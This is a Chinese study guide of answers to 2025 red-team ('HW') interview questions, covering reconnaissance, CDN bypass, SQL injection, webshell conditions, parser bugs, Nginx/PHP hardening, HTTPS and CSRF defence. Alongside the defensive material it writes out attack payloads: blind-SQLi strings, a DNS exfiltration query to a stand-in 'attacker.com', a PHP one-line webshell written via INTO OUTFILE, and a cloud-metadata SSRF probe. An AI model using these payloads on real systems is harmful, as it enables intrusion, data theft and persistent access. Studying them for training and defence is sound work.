安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?2025年HW(護網面試) 34
一、網站信息收集
核心步驟與工具
二、CDN繞過與真實IP獲取
6大實戰方法
三、常見漏洞原理與防御
四大高危漏洞對比
四、SQL注入檢測與盲注
注入點探測流程
時間盲注核心函數
五、Sleep函數被過濾的替代方案
4種繞過方式
六、SQL注入拿Shell的條件
七、網站絕對路徑獲取
7大途徑
八、Web服務器解析漏洞
經典案例解析
九、Nginx安全配置
6項關鍵配置
十、PHP審計流程
四步代碼審計法
十一、PHP防注入方案
3層防御體系
十二、PHP安全配置
十三、Web滲透流程
五階段模型
十四、HTTP協議核心問題
十五、HTTPS建立過程
TLS握手六步
十六、CSRF防御機制
Token防御原理
其他防御方案
?
?2025年HW(護網面試) 34
1、網站信息收集 2、怎么尋找真實IP(cdn繞過) 3、常見漏洞原理和防范 4、sql怎么找注入點、盲注 5、敘述一下時間盲注原理以及用到的各種函數 6、sleep函數被過濾怎么辦? 7、sql注入能拿shell么,需要什么權限 8、怎么獲得網站的絕對路徑? 9、web服務器解析漏洞了解么? 10、Nginx安全配置相關 11、PHP審計流程 12、php怎么防注入 13、php安全配置了解么 14、web滲透流程 15、http了解么、長連接還是短連接、談談對http無狀態的理解。 16、bp抓https包的原理 17、https實現過程 18、防御csrf的方式?token防御csrf的原理?
一、網站信息收集
核心步驟與工具
類別 方法 工具示例 基礎架構 HTTP頭分析、端口掃描 Nmap, Wappalyzer 子域名 證書透明度、DNS爆破 Amass, Subfinder 目錄文件 敏感文件掃描、備份文件探測 Dirsearch, Wayback Machine 關聯資產 反向IP查詢、Whois信息關聯 Shodan, Fofa
二、CDN繞過與真實IP獲取
6大實戰方法
- 歷史解析記錄
- 查詢DNS歷史:
SecurityTrails
,ViewDNS.info
- 全球Ping檢測
- 利用不同地區節點:
Ping
+ASN
歸屬分析 → 識別非CDN IP- 子域名探測
www
域名有CDN → 嘗試dev
等未配置CDN的子域- 協議漏洞利用
- SSRF響應:
http://xxx.com/?url=http://169.254.169.254
(云元數據)- 郵件服務器追蹤
- 分析郵件頭
Received
字段獲取真實IP- DNS記錄泄露
SPF
記錄中的ip4:
聲明(如v=spf1 ip4:203.0.113.1 -all
)
三、常見漏洞原理與防御
四大高危漏洞對比
漏洞類型 原理 防御方案 SQL注入 用戶輸入拼接SQL語句 參數化查詢(PreparedStatement) XSS 惡意腳本注入頁面 CSP頭: Content-Security-Policy
SSRF 服務端請求偽造內網資源 白名單校驗URL + 禁用 file://
協議RCE 系統命令執行函數未過濾 禁用危險函數(如 eval()
)+ 權限最小化
四、SQL注入檢測與盲注
注入點探測流程
mermaid
graph LR A[輸入點檢測] --> B(單引號觸發錯誤) B --> C{返回異常?} C -->|是| D[報錯注入] C -->|否| E[布爾盲注檢測] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 異常?) G -->|是| H[確認布爾盲注]
時間盲注核心函數
數據庫 延時函數 示例Payload MySQL SLEEP()
1' AND SLEEP(5)--
PostgreSQL pg_sleep()
1' AND pg_sleep(5)--
MSSQL WAITFOR DELAY
1'; WAITFOR DELAY '0:0:5'--
五、Sleep函數被過濾的替代方案
4種繞過方式
- 重載延時
- MySQL:
BENCHMARK(10000000, MD5('a'))
- 條件錯誤觸發
1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
- 大查詢阻塞
SELECT * FROM all_tables t1, all_tables t2
(制造笛卡爾積)- 外帶數據延時
- DNS查詢:
1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--
六、SQL注入拿Shell的條件
前提條件 操作路徑 1. 文件寫權限 secure_file_priv
為空(MySQL)2. 絕對路徑獲取 通過報錯/配置文件泄露 3. Web目錄寫入 寫入PHP一句話:
SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php'
七、網站絕對路徑獲取
7大途徑
- 報錯信息
- PHP錯誤:
Warning: include(/var/www/config.php) failed
- 配置文件
/etc/apache2/sites-enabled/000-default.conf
→DocumentRoot
- 進程信息
- Linux:
/proc/self/cwd
→ 符號鏈接指向路徑- 框架特性
- Laravel:
php artisan tinker
→base_path()
- 文件包含漏洞
- 包含
/proc/self/environ
獲取環境變量- 備份文件泄露
.git/index
→ 文件路徑痕跡- 命令執行回顯
; pwd;
→ 返回當前路徑
八、Web服務器解析漏洞
經典案例解析
服務器 漏洞原理 攻擊示例 IIS 6.0 目錄名含 .asp
則所有文件按ASP解析/upload.asp/logo.jpg
→ JPG當ASP執行Nginx <0.8 路徑截斷: %00
截斷文件名/test.php%00.jpg
→ PHP執行Apache 多后綴解析: .php.jpg
當PHP執行shell.php.jpg
→ 觸發PHP引擎
九、Nginx安全配置
6項關鍵配置
nginx
# 1. 禁用敏感信息 server_tokens off; # 隱藏Nginx版本 # 2. 文件訪問限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止訪問配置文件 } # 3. 防目錄遍歷 autoindex off; # 禁用目錄列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST請求直接斷開 } # 5. 防路徑穿越 location ~* \.\./ { deny all; # 阻斷../跳轉 } # 6. CSP防護 add_header Content-Security-Policy "default-src 'self'";
十、PHP審計流程
四步代碼審計法
mermaid
graph TB A[敏感函數定位] --> B[參數回溯] B --> C{輸入是否可控?} C -->|是| D[過濾機制分析] D --> E[構造PoC驗證]
十一、PHP防注入方案
3層防御體系
- 輸入層過濾
filter_var($input, FILTER_SANITIZE_STRING)
- 執行層隔離
- PDO預處理:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
- 輸出層轉義
- HTML輸出:
htmlspecialchars($str, ENT_QUOTES)
十二、PHP安全配置
配置項 安全值 作用 expose_php
Off
隱藏PHP版本 disable_functions
system,exec,passthru
禁用危險函數 open_basedir
/var/www
限制文件訪問范圍 session.cookie_httponly
1
防JS竊取Session
十三、Web滲透流程
五階段模型
- 信息收集:資產測繪 + 指紋識別
- 漏洞探測:自動掃描 + 手動驗證
- 漏洞利用:武器化Payload投遞
- 權限維持:Webshell + 后門安裝
- 橫向移動:憑證竊取 + 內網漫游
十四、HTTP協議核心問題
問題 技術解析 長連接 vs 短連接 長連接: Connection: keep-alive
(復用TCP連接)
短連接:每次請求新建連接無狀態 協議不記錄請求間狀態 → 需Cookie/Session維持會話 HTTPS抓包原理 中間人攻擊:BP生成偽證書 + 客戶端信任CA根證書
十五、HTTPS建立過程
TLS握手六步
- Client → Server:
ClientHello
(支持密碼套件列表)- Server → Client:
ServerHello
(選定密碼套件)+ 證書- Client驗證證書合法性(CA鏈校驗)
- Client生成隨機對稱密鑰 → 用證書公鑰加密發送
- Server用私鑰解密獲取對稱密鑰
- 雙方用對稱密鑰加密通信
十六、CSRF防御機制
Token防御原理
mermaid
graph LR A[用戶登錄] --> B[服務端生成Token存入Session] B --> C[Token嵌入表單隱藏域] C --> D[提交請求時驗證Token] D -->|匹配| E[執行操作] D -->|不匹配| F[拒絕請求]
其他防御方案
- SameSite Cookie:
Set-Cookie: session=xxx; SameSite=Lax
- 雙重Cookie驗證:請求頭攜帶Cookie + Body攜帶Token
- 驗證碼挑戰:敏感操作需二次驗證